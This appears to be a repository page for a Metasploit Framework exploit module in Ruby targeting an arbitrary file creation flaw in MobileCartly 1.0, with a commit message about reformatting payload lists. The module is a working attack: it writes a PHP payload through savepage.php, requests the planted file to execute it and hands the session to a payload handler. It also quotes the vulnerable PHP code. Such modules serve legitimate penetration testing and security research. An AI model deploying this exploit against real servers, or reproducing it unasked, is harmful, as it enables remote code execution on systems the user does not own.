Tod Beardsley
c547e84fa7
According to the Ruby style guide, %w{} collections for arrays of single
words are preferred. They're easier to type, and if you want a quick
grep, they're easier to search.
This change converts all Payloads to this format if there is more than
one payload to choose from.
It also alphabetizes the payloads, so the order can be more predictable,
and for long sets, easier to scan with eyeballs.
See:
https://github.com/bbatsov/ruby-style-guide#collections
127 lines
3.4 KiB
Ruby
127 lines
3.4 KiB
Ruby
##
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# This file is part of the Metasploit Framework and may be subject to
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# redistribution and commercial restrictions. Please see the Metasploit
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# Framework web site for more information on licensing and terms of use.
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# http://metasploit.com/framework/
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##
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require 'msf/core'
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class Metasploit3 < Msf::Exploit::Remote
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Rank = ExcellentRanking
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include Msf::Exploit::Remote::HttpClient
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include Msf::Exploit::PhpEXE
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def initialize(info={})
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super(update_info(info,
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'Name' => "MobileCartly 1.0 Arbitrary File Creation Vulnerability",
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'Description' => %q{
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This module exploits a vulnerability in MobileCartly. The savepage.php file
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does not do any permission checks before using file_put_contents(), which
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allows any user to have direct control of that function to create files
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under the 'pages' directory by default, or anywhere else as long as the user
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has WRITE permission.
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},
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'License' => MSF_LICENSE,
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'Author' =>
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[
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'Yakir Wizman <yakir.wizman[at]gmail.com>', # Original discovery
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'sinn3r' # Metasploit
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],
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'References' =>
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[
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[ 'OSVDB', '85509' ],
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[ 'EDB', '20422 '],
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[ 'BID', '55399 ']
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],
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'Payload' =>
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{
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# Goes in the query string, needs to fit in 8k. Leave a little
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# exra for the other params and the path.
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'Space' => 8000,
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'DisableNops' => true
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},
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'Platform' => %w{ linux php },
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'Targets' =>
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[
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[ 'Generic (PHP Payload)', { 'Arch' => ARCH_PHP, 'Platform' => 'php' } ],
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[ 'Linux x86' , { 'Arch' => ARCH_X86, 'Platform' => 'linux'} ]
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],
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'Privileged' => false,
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'DisclosureDate' => "Aug 10 2012",
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'DefaultTarget' => 0))
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register_options(
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[
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OptString.new('TARGETURI', [true, 'The base directory to MobileCartly', '/mobilecartly/'])
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], self.class)
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end
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def check
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uri = normalize_uri(target_uri.path)
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uri << '/' if uri[-1,1] != '/'
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base = File.dirname("#{uri}.")
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res = send_request_raw({'uri'=>normalize_uri(uri, "/index.php")})
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if res and res.body =~ /MobileCartly/
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return Exploit::CheckCode::Detected
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else
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return Exploit::CheckCode::Safe
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end
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end
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def exploit
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@peer = "#{rhost}:#{rport}"
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#
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# Init target path
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#
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uri = normalize_uri(target_uri.path)
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uri << '/' if uri[-1,1] != '/'
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base = File.dirname("#{uri}.")
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#
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# Configure payload names
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#
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php_fname = Rex::Text.rand_text_alpha(5) + ".php"
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#
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# Upload payload
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#
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print_status("#{@peer} - Uploading payload")
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res = send_request_cgi({
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'uri' => normalize_uri(base, "/includes/savepage.php"),
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'vars_get' => {
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'savepage' => php_fname,
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'pagecontent' => get_write_exec_payload(:unlink_self=>true)
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}
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})
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if not res
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print_error("#{@peer} - No response from server, will not continue.")
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return
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end
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#
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# Run payload
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#
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print_status("#{@peer} - Requesting '#{php_fname}'")
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send_request_cgi({ 'uri' => normalize_uri(base, 'pages', php_fname) })
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handler
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end
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end
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=begin
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*facepalm*
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<?php
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$page = "../pages/" . $_REQUEST['savepage'];
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$content = $_REQUEST['pagecontent'];
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file_put_contents($page, $content);
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?>
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=end
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